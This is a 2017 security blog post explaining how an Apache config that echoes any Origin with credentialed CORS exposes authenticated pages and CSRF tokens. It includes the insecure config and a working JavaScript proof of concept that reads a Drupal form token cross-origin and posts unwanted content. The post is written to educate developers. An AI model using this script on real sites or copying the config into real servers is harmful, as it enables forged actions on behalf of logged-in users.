Be careful with authenticated CORS and secrets like CSRF tokens

August 08, 2017

When implementing Cross Origin Resource Sharing, you will find ample advice to set your response header as Access-Control-Allow-Origin: * and be done with it. This works fine for unauthenticated resources, but what if you want to add CORS support to an authenticated resource? The use cases are much more limited in comparison, but perhaps you have a support ticket system on the Internet you want to query from a platform internal to your team/company, or something along those lines.

To support authentication, you can add Access-Control-Allow-Credentials: true and make sure your XMLHttpRequest has withCredentials set to true, or your Fetch is given the option credentials: 'include'. The complication here is Access-Control-Allow-Origin: * will no longer work - you will need to specify the origin explicitly. If you have more than one, then it can get a bit messy. The temptation may then be to do something like this:

SetEnvIf Origin "(.+)" AccessControlAllowOrigin=$0
Header add Access-Control-Allow-Origin %{AccessControlAllowOrigin}e env=AccessControlAllowOrigin
Header add Access-Control-Allow-Credentials true

This Apache config is echoing out the Origin request header as the Access-Control-Allow-Origin response header value, while supporting CORS authentication. This is the same as Access-Control-Allow-Origin: * because the requesting origin will always satisfy the whitelist, but with authentication, so we've worked around some annoying restriction in the CORS standard - yay us!

In doing so, however, we may have opened up our service and our users to easy attack. As authenticated resources are now readable by any origin, not only is potentially sensitive user data up for grabs, but other secrets, like Cross Site Request Forgery tokens, may be as well.

CORS is not a CSRF mitigation - it will not stop crafted POST requests getting to their destination, it will only control whether the origin that sent the POST can read the response. So CSRF mitigations like tokens, where by form submissions are only accepted if the submitted data contains a randomised token value generated for the form and user in question, are still needed. However, a CSRF token is no good if it can just be read via an authenticated CORS request first.

For example, Drupal protects its forms with a CSRF token. The form at node/add/page is, by default, a form protected by authentication, allowing a user to add a new 'Page' to the site. Say I have a Drupal instance running at drupal.localhost which I'm authenticated with via a persistent cookie - the following snippet running in a different origin from the Drupal instance will not successfully create a new node:

var postData = new FormData();
postData.append('title', 'evil post');
postData.append('body[und][0][value]', 'This is an evil post.');
postData.append('body[und][0][format]', 'filtered_html');
postData.append('status', 1);
postData.append('op', 'Save');
postData.append('form_id', 'page_node_form');

var newPost = fetch('http://drupal.localhost/node/add/page',
  {method: 'POST', body: postData, credentials: 'include'}
);

The response will actually be a HTTP/1.1 200 so the request passed authentication, but no page titled "evil post" was created, and there will be an error buried deep with the response HTML suggesting the form is stale and needs to be reloaded. So the POST made it to Drupal, but I didn't have a token. What about this snippet then:


var getToken = fetch('http://drupal.localhost/node/add/page',
  {method: 'GET', credentials: 'include'}
);

getToken
  .then(function(res) {
    return res.text();
  }).then(function(res) {
    // res now contains the HTML from /node/add/page,
    // and hence the CSRF token in the form.
    // Get the token.
    var resMatches = res.match(/input type="hidden" name="form_token" value="(.+)"/);
    var csrfToken = resMatches[1];

    var postData = new FormData();
    postData.append('title', 'evil post');
    postData.append('body[und][0][value]', 'This is an evil post.');
    postData.append('body[und][0][format]', 'filtered_html');
    postData.append('status', 1);
    postData.append('op', 'Save');
    postData.append('form_id', 'page_node_form');
    postData.append('form_token', csrfToken);

    var newPost = fetch('http://drupal.localhost/node/add/page',
      {method: 'POST', body: postData, credentials: 'include'}
    );
  });

Success! we now have an "evil post" on drupal.localhost. By abusing the fact that CORS has been configured to blindly accept all origins and authentication, we have bypassed CSRF protection via tokens by simply first requesting a page with the token, and using the token in the POST request. To exploit this, a user with a valid cookie for drupal.localhost would just need to visit our evil page. This isn't the fault of Drupal (although it could have still prevented this by also applying some sort of origin whitelist on form submissions, even those with valid tokens), rather, it is a case of insecure configuration.

I haven't actually seen any notable instances anywhere suggesting this "workaround" for getting authenticated CORS working on any origin is advisable, let alone in a context of a global web server configuration, so this post is not in response to anything in particular. With that said, I feel the common advice for CORS is to allow-by-default, and it may not be immediately obvious to developers and server admins why this shouldn't extend to authenticated CORS. The concept of echoing out the Origin request header for authenticated CORS is fine, provided it is applied intentionally only to authenticated resources that need to be accessed across origins, and that the Origin value coming in is validated by some sort of whitelist first - in the case of the Apache example above, that may be via the regex in the SetEnvIf directive (but you're probably beter off applying the whitelist in the web app).